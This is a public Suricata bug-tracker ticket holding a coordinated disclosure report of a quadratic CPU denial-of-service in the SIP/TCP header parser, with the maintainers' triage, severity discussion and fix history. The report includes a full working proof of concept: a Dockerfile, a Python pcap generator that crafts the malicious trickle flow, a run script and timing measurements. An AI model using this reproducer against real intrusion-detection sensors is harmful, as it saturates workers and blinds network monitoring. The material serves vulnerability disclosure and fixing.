Project

General

Profile

Actions

Security #9101

closed
PA GL

sip: quadratic complexity in headers processing

Security #9101: sip: quadratic complexity in headers processing

Added by Philippe Antoine 2 months ago. Updated 7 days ago.

Status:
Closed
Priority:
Normal
Target version:
Affected Versions:
Label:
CVE:
Git IDs:

519e41cfbbad446aad5da2b99d2a52e262c14f1d

Severity:
HIGH
Disclosure Date:
12/17/2026

Description

Orignal report

Hello Suricata security team,

This issue was found by Anthropic using Claude to study the security of open-source software
and validated by me from Ada Logics.

== SUMMARY ==

In rust/src/sip/parser.rs, parse_header_value() returns Err(Err::Incomplete(Needed::new(1)))
when it meets a byte that fails is_header_value() -- 0x00 is the simplest example. That byte
is already in the buffer and no additional input can make it valid, so Incomplete is not the
right signal for it. rust/src/sip/sip.rs::parse_request_tcp translates any Incomplete into
AppLayerResult::incomplete(consumed, start.len() + 1), so the stream engine stores
data_required and, once one more byte is ACKed, re-presents the whole buffer from the same
app_progress offset. The parser walks to the same invalid byte and asks for one more byte
again. We did not find a cross-call zero-progress guard in either app-layer-parser.c or
stream-tcp-reassemble.c, so each additional attacker byte costs a complete rescan of
everything ahead of the invalid byte.

Placing the invalid byte at offset D/2 of a D-byte flow and then sending D/2 one-byte
segments therefore costs on the order of D^2/4 byte comparisons. The only bound we found is
stream.reassembly.depth, 1 MB by default.

== AFFECTED CODE ==

  rust/src/sip/parser.rs   parse_header_value()  (main HEAD d996d85dc, re-gated 2026-09-17)
  rust/src/sip/sip.rs:198-207      parse_request_tcp()   (the Incomplete -> incomplete(0, len+1) arm)

The same two lines are present on main-8.0.x (parser.rs:286-287) and main-7.0.x
(parser.rs:259-260), so we believe 7.0.x, 8.0.x and main are all affected. We have only
measured main at HEAD d996d85dc; rust/src/sip/parser.rs is byte-unchanged since 928ac012 (2026-09-08).

    fn parse_header_value(buf: &[u8]) -> IResult<&[u8], &[u8]> {
        ...
                b => {
                    trail_spaces = 0;
                    if !is_header_value(b) {
                        return Err(Err::Incomplete(Needed::new(1)));
                    }
                    end_pos = idx + 1;
                }

The Err(_) arm of parse_request_tcp already does the right thing for malformed input -- it
raises SIPEvent::InvalidData and returns AppLayerResult::err(), after which the flow's
app-layer is shut down. Malformed header-value bytes never reach it because they are
reported as truncation instead.

== ATTACKER POSITION AND REACHABILITY ==

Unauthenticated, remote, no user interaction. The attacker needs only a TCP connection whose
traffic crosses the monitored link; nothing has to be a real SIP endpoint, and the SIP
grammar is only ever fed data the attacker wrote. app-layer.protocols.sip.enabled is yes in
the shipped suricata.yaml and has no detection-ports stanza -- detection is by first-bytes
pattern (INVITE, REGISTER, ... registered with SCAppLayerProtoDetectPMRegisterPatternCS), so
any monitored TCP port is an entry point. Our reproducer deliberately uses TCP port 8888 and
the run confirms app_layer.flow.sip_tcp=1.

There is no memory-safety impact. Memory stays bounded by the reassembly depth; the cost is
entirely CPU, so the practical effect on a sensor is worker saturation, packet drops and
therefore loss of the visibility the sensor is deployed for. In IPS mode it stalls the data
path.

We have deliberately not included any suggested change; that is your call.

== MEASUREMENTS ==

Re-confirmed at HEAD d996d85d (2026-09-17, "9.0.0-dev (d996d85dc)"): the same quadratic scaling
holds, attack user-CPU 0.74s / 2.48s / 9.78s / 39.19s at D = 32768 / 65536 / 131072 / 262144
(each doubling ~4x), while the control (invalid byte one field earlier, in the header NAME) stays
flat at ~0.1s. The table below is from the original measured run at 928ac012, which is
byte-identical to HEAD for rust/src/sip/parser.rs; the D=1048576 headline row (~11 min of CPU on a
single 1 MB flow) is from that run and was not re-measured at HEAD.

Normal optimized build (not an ASan build -- the evidence here is CPU time). Each row is one
pcap containing exactly one TCP flow of D attacker bytes: a D/2-byte prefix in 1400-byte
segments ending in the invalid byte, then D/2 one-byte segments, each acknowledged by the
peer. Suricata is run as
"suricata -k none --runmode single -l <dir> -S /dev/null -r <pcap>" under /usr/bin/time.

    ### A. attack shape: the invalid byte sits in a SIP header VALUE.
    ###    D = total attacker bytes on the flow (D/2 prefix + D/2 one-byte segments).
    ###    Correct behaviour is O(D); each doubling of D below costs ~4x the CPU.
      attack D=32768         user=1.07 sys=0.05 wall=1.07 maxrssKB=50560   [app_layer.flow.sip_tcp=1 ]
      attack D=65536         user=3.81 sys=0.09 wall=3.57 maxrssKB=51584   [app_layer.flow.sip_tcp=1 ]
      attack D=131072        user=14.48 sys=0.38 wall=13.69 maxrssKB=53504   [app_layer.flow.sip_tcp=1 ]
      attack D=262144        user=50.71 sys=0.93 wall=46.69 maxrssKB=58240   [app_layer.flow.sip_tcp=1 ]

    ### B. control: the very same 0x00 byte, one field earlier (header NAME).
    ###    Identical byte counts and segment pacing.  That path does reach a hard
    ###    nom error, sip.rs returns AppLayerResult::err(), the flow's app-layer is
    ###    shut down, and the cost stays flat -- which is what the value path should do.
      control D=32768        user=0.09 sys=0.06 wall=0.57 maxrssKB=49536   [app_layer.error.sip_tcp.parser=1 ]
      control D=65536        user=0.13 sys=0.08 wall=0.57 maxrssKB=49792   [app_layer.error.sip_tcp.parser=1 ]
      control D=131072       user=0.12 sys=0.04 wall=0.56 maxrssKB=49536   [app_layer.error.sip_tcp.parser=1 ]
      control D=262144       user=0.23 sys=0.04 wall=0.59 maxrssKB=49536   [app_layer.error.sip_tcp.parser=1 ]

    ### C. headline: one flow at the default stream.reassembly.depth (1 MB).
    -rw-r--r-- 1 root root 74501630 Sep  8 13:33 /pcaps/a1m.pcap
      attack D=1048576       user=683.89 sys=9.06 wall=646.76 maxrssKB=82816   [app_layer.flow.sip_tcp=1 ]

    ### note: app_layer.flow.sip_tcp=1 on TCP port 8888 confirms SIP/TCP protocol

Each doubling of D costs roughly 4x the CPU, i.e. the work is quadratic in the flow's byte
count. At the default 1 MB stream.reassembly.depth a single flow of 1 MB of attacker traffic
consumed:

      attack D=1048576       user=683.89 sys=9.06 wall=646.76 maxrssKB=82816   [app_layer.flow.sip_tcp=1 ]

That is about eleven minutes of one worker thread for one megabyte sent, and a handful of
such flows in parallel saturates every worker.

The control rows are the same 0x00 byte moved one field earlier, into the header NAME, with
identical byte counts and identical segment pacing. That path does reach a hard nom error,
so app_layer.error.sip_tcp.parser is incremented, the flow's app-layer is shut down, and
the cost stays flat at around 0.1-0.2 s. It is the value path, not the trickle pattern,
that produces the quadratic behaviour.

== HOW TO REPRODUCE ==

Three files follow, inlined in full. Put them in one directory and run:

    docker build -t sip-mnfdmct0 . && docker run --rm sip-mnfdmct0

The build clones OISF/suricata and checks out TARGET_COMMIT, which defaults to main HEAD d996d85dc;
pass --build-arg TARGET_COMMIT=<sha> to measure any other commit. The whole run takes about
twelve minutes, most of it the 1 MB case. If you prefer a suricata-verify style reproducer
we are happy to prepare one -- we went with a self-contained pcap generator because the
1 MB pcap is 74 MB and is better generated than shipped.

Dockerfile:

```dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=d996d85dcfbf1349acf54d942abc86a13f9e699f
ARG CLANG_VERSION=20

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make autoconf automake libtool pkg-config python3 \
        wget gnupg lsb-release software-properties-common curl time file \
        libpcre2-dev libyaml-dev libjansson-dev libpcap-dev libcap-ng-dev \
        libmagic-dev zlib1g-dev liblz4-dev libnet1-dev build-essential \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} \
    && rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}

# suricata needs rustc >= 1.85; ubuntu 24.04 ships 1.75, so use rustup
RUN curl -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain 1.85.0 --profile minimal
ENV PATH=/root/.cargo/bin:$PATH
RUN cargo install --locked cbindgen@0.29.0

RUN git clone https://github.com/OISF/suricata /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT} && git submodule update --init --recursive || true

# NOTE: this is a performance finding, so the build is the normal optimized
# build (no -fsanitize=address); ASan would make the timings meaningless.
RUN ./autogen.sh \
    && ./configure --disable-gccmarch-native --prefix=/usr \
    && make -j"$(nproc)" && make install && make install-conf

COPY make_pcap.py /make_pcap.py
COPY run_poc.sh   /run_poc.sh
CMD ["/bin/sh","-c","mkdir -p /out && /run_poc.sh 2>&1; echo EXIT=$?"]
```

make_pcap.py:

```python
#!/usr/bin/env python3
"""Craft SIP-over-TCP pcaps for ANT-2026-MNFDMCT0.

Two shapes, identical on-the-wire byte counts:

  attack   : the permanently-invalid byte (0x00) sits inside a SIP header VALUE.
             rust/src/sip/parser.rs::parse_header_value returns
             Err::Incomplete(Needed::new(1)) for it, so the SIP/TCP wrapper
             answers AppLayerResult::incomplete(0, len+1): zero bytes consumed,
             one more byte wanted. Every subsequent 1-byte segment makes the
             stream engine re-present the whole buffer from offset 0.

  control  : the same 0x00 sits one field earlier, inside the header NAME.
             That path does produce a hard nom error, the wrapper returns
             AppLayerResult::err(), and the flow's app-layer is shut down.

Usage: make_pcap.py <attack|control> <out.pcap> <prefix_bytes> <trickle_bytes>
""" 
import struct, sys

CLI_IP = bytes([10, 0, 0, 1])
SRV_IP = bytes([10, 0, 0, 2])
CLI_PORT = 40001
SRV_PORT = 8888          # deliberately NOT 5060: SIP/TCP detection is pattern-based

def ipv4(payload, src, dst):
    total = 20 + len(payload)
    hdr = struct.pack("!BBHHHBBH4s4s", 0x45, 0, total, 0, 0x4000, 64, 6, 0, src, dst)
    s = sum(struct.unpack("!10H", hdr))
    s = (s & 0xFFFF) + (s >> 16)
    s = (s & 0xFFFF) + (s >> 16)
    hdr = hdr[:10] + struct.pack("!H", (~s) & 0xFFFF) + hdr[12:]
    return hdr + payload

def tcp(sport, dport, seq, ack, flags, payload=b""):
    # checksums are left at 0; suricata is run with -k none
    return struct.pack("!HHIIBBHHH", sport, dport, seq, ack, 0x50, flags, 65535, 0, 0) + payload

def eth(payload):
    return b"\x00\x11\x22\x33\x44\x55\x00\xaa\xbb\xcc\xdd\xee\x08\x00" + payload

class Pcap:
    def __init__(self, path):
        self.f = open(path, "wb")
        self.f.write(struct.pack("<IHHiIII", 0xA1B2C3D4, 2, 4, 0, 0, 65535, 1))
        self.ts = 0

    def add(self, frame):
        self.ts += 1
        self.f.write(struct.pack("<IIII", 1000 + self.ts // 1000000,
                                 self.ts % 1000000, len(frame), len(frame)))
        self.f.write(frame)

    def close(self):
        self.f.close()

def main():
    mode, out, prefix_len, trickle_len = sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4])

    if mode == "attack":
        # invalid byte terminates a header VALUE  -> Incomplete, forever
        head = b"INVITE sip:a SIP/2.0\r\nX: " 
        blob = head + b"A" * (prefix_len - len(head) - 1) + b"\x00" 
    elif mode == "control":
        # invalid byte inside the header NAME     -> hard nom error
        head = b"INVITE sip:a SIP/2.0\r\nX" 
        blob = head + b"\x00" + b": " + b"A" * (prefix_len - len(head) - 3)
    else:
        raise SystemExit("mode must be attack|control")
    assert len(blob) == prefix_len, (len(blob), prefix_len)

    p = Pcap(out)
    cseq, sseq = 1000, 5000

    def c(flags, payload=b""):
        nonlocal cseq
        p.add(eth(ipv4(tcp(CLI_PORT, SRV_PORT, cseq, sseq, flags, payload), CLI_IP, SRV_IP)))
        cseq += len(payload) + (1 if flags & 0x02 else 0)

    def s(flags, payload=b""):
        nonlocal sseq
        p.add(eth(ipv4(tcp(SRV_PORT, CLI_PORT, sseq, cseq, flags, payload), SRV_IP, CLI_IP)))
        sseq += len(payload) + (1 if flags & 0x02 else 0)

    c(0x02)                # SYN
    s(0x12)                # SYN/ACK
    c(0x10)                # ACK

    # the prefix, in ordinary sized segments
    for off in range(0, len(blob), 1400):
        c(0x18, blob[off:off + 1400])
        s(0x10)

    # then the trickle: one byte per segment, each acknowledged
    for _ in range(trickle_len):
        c(0x18, b"A")
        s(0x10)

    p.close()

main()
```

run_poc.sh:

```sh
#!/bin/sh
# ANT-2026-MNFDMCT0 -- quadratic reparse in Suricata's SIP/TCP app-layer parser.
#
# rust/src/sip/parser.rs::parse_header_value returns Err::Incomplete(Needed::new(1))
# for a byte that fails is_header_value() (0x00 here).  That byte can never become
# valid, but Incomplete means "give me one more byte", so sip.rs::parse_request_tcp
# answers AppLayerResult::incomplete(0, len+1) and the stream engine re-presents the
# whole buffer from offset 0 for every further byte.  Work is O(D^2/4).
#
# Evidence is CPU time, so this is the normal optimized build (no ASan).
set -u
mkdir -p /pcaps

echo "### suricata build" 
suricata -V
echo

run() {  # run <label> <pcap>
    out=/out/$(echo "$1" | tr -d ' =')
    rm -rf "$out"; mkdir -p "$out" 
    /usr/bin/time -f "user=%U sys=%S wall=%e maxrssKB=%M" \
        suricata -k none --runmode single -l "$out" -S /dev/null -r "$2" \
        >"$out/stdout" 2>"$out/time" 
    printf '  %-22s %s' "$1" "$(cat "$out/time")" 
    printf '   [%s]\n' "$(grep -Eo 'app_layer\.(flow|error)\.sip_tcp[^|]*\| *Total *\| *[0-9]+' "$out/stats.log" \
        | sed -E 's/ +\| *Total *\| */=/' | sort -u | tr '\n' ' ')" 
}

echo "### A. attack shape: the invalid byte sits in a SIP header VALUE." 
echo "###    D = total attacker bytes on the flow (D/2 prefix + D/2 one-byte segments)." 
echo "###    Correct behaviour is O(D); each doubling of D below costs ~4x the CPU." 
for D in 32768 65536 131072 262144; do
    python3 /make_pcap.py attack /pcaps/a$D.pcap $((D/2)) $((D/2))
    run "attack D=$D" /pcaps/a$D.pcap
done
echo

echo "### B. control: the very same 0x00 byte, one field earlier (header NAME)." 
echo "###    Identical byte counts and segment pacing.  That path does reach a hard" 
echo "###    nom error, sip.rs returns AppLayerResult::err(), the flow's app-layer is" 
echo "###    shut down, and the cost stays flat -- which is what the value path should do." 
for D in 32768 65536 131072 262144; do
    python3 /make_pcap.py control /pcaps/c$D.pcap $((D/2)) $((D/2))
    run "control D=$D" /pcaps/c$D.pcap
done
echo

echo "### C. headline: one flow at the default stream.reassembly.depth (1 MB)." 
python3 /make_pcap.py attack /pcaps/a1m.pcap 524288 524288
ls -l /pcaps/a1m.pcap
run "attack D=1048576" /pcaps/a1m.pcap
echo
echo "### note: app_layer.flow.sip_tcp=1 on TCP port 8888 confirms SIP/TCP protocol" 
echo "###       detection is pattern-based, not port-bound." 
```

== SEVERITY ==

We rate this High against your own SECURITY.md rubric -- "HIGH Severity. This affects Tier 1
features that are enabled by default where the issue disrupts availability of the service,
leading to severe loss of visibility and/or availability" -- and against your published
record, where every traffic-triggered quadratic-CPU advisory is High
(GHSA-w394-3g33-3jg9 / CVE-2026-63447 ftp, GHSA-xjgq-3qw4-jp5f doh2,
GHSA-j9cx-w9xm-5x84 http1 brotli). Unlike the ftp case there is no per-protocol max-* knob
limiting this one; only stream.reassembly.depth.

We checked your published advisories and did not find one covering this code path. The one
published SIP advisory, GHSA-prqx-q74v-wxhv, is a different function and a different issue.

== CREDIT AND DISCLOSURE ==

Found by Anthropic using Claude to study the security of open-source software, validated
manually by Ada Logics. Please credit Claude and Ada Logics if you publish an advisory.

This report follows Anthropic's coordinated vulnerability disclosure policy, with a 90-day
window: https://www.anthropic.com/coordinated-vulnerability-disclosure

Kind regards,
David


Subtasks 1 (0 open — 1 closed)

Security #9102: sip: quadratic complexity in headers processing (8.0.x backport)ClosedGiuseppe LongoActions

OT Updated by OISF Ticketbot 2 months ago Actions #1

  • Subtask #9102 added

OT Updated by OISF Ticketbot 2 months ago Actions #2

  • Label deleted (Needs backport to 8.0)

JI Updated by Jason Ish about 2 months ago Actions #3

SV test on GL.

PA Updated by Philippe Antoine about 2 months ago Actions #4

  • Severity set to HIGH

I propose HIGH severity as a quadratic complexity with enabled by default network traffic

PA Updated by Philippe Antoine about 2 months ago Actions #5

  • Status changed from New to In Review
  • Assignee changed from OISF Dev to Philippe Antoine

Gitlab MR

PA Updated by Philippe Antoine about 2 months ago Actions #6

  • Status changed from In Review to In Progress
  • Assignee changed from Philippe Antoine to OISF Dev

Seems complex to me

JI Updated by Jason Ish about 1 month ago Actions #7

  • Assignee changed from OISF Dev to Philippe Antoine

PA Updated by Philippe Antoine about 1 month ago Actions #8

  • Assignee changed from Philippe Antoine to OISF Dev

JI Updated by Jason Ish about 1 month ago Actions #9

  • Assignee changed from OISF Dev to Giuseppe Longo

@Giuseppe Longo Do you think a fix is feasible for 8.0.8?

JI Updated by Jason Ish about 1 month ago Actions #10

Note on the complexity, from MR1362:

Medium — The cap applies to each header value, so it does not stop the quadratic TCP re-parse from Redmine #9101. parse_request_tcp and parse_response_tcp still return incomplete(consumed, start.len() + 1) for any unterminated message. An attacker can trickle many valid headers under 4 KB each, or a long header name or request-URI (neither is capped). Each new byte then re-parses the whole buffer, up to stream.reassembly.depth. Cap the total buffered incomplete message in the TCP wrappers, and add an SV trickle test that uses only valid bytes.

GL Updated by Giuseppe Longo about 1 month ago Actions #11

Jason Ish wrote in #note-9:

@Giuseppe Longo Do you think a fix is feasible for 8.0.8?

Yes, I think we can get it fixed for 8.0.8.

JI Updated by Jason Ish about 1 month ago Actions #12

  • GHSA set to GHSA-cw6p-8pjr-qgr3

JI Updated by Jason Ish 28 days ago Actions #13

  • Status changed from In Progress to In Review

GL MR.

JI Updated by Jason Ish 25 days ago Actions #15

  • Git IDs updated (diff)

JI Updated by Jason Ish 25 days ago Actions #16

  • Status changed from In Review to Closed

JI Updated by Jason Ish 7 days ago Actions #17

  • Private changed from Yes to No
Actions

Also available in: PDF Atom